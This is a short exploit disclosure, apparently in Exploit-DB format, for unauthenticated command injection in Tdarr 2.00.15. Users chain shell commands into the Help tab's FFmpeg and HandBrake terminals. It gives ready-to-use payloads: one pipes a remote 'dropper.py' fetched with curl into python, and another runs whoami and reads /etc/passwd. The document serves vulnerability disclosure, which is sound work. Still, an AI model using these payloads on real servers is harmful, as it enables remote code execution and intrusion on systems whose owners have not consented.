Tdarr 2.00.15 - Command Injection

# Exploit Title: Tdarr 2.00.15 - Command Injection
# Date: 10/03/2022
# Exploit Author: Sam Smith
# Vendor Homepage: https://tdarr.io
# Software Link: https://f000.backblazeb2.com/file/tdarrs/versions/2.00.15/linux_arm64/Tdarr_Server.zip
# Version: 2.00.15 (likely also older versions)
# Tested on: 2.00.15

Exploit:

The Help tab contains a terminal for both FFmpeg and HandBrake. These terminals do not include input filtering which allows the user to chain commands and spawn a reverse shell.

eg. `--help; curl http://192.168.0.2/dropper.py | python` or `--help;whoami;cat /etc/passwd`.

Tdarr is not protected by any auth by default and no credentials are required to trigger RCE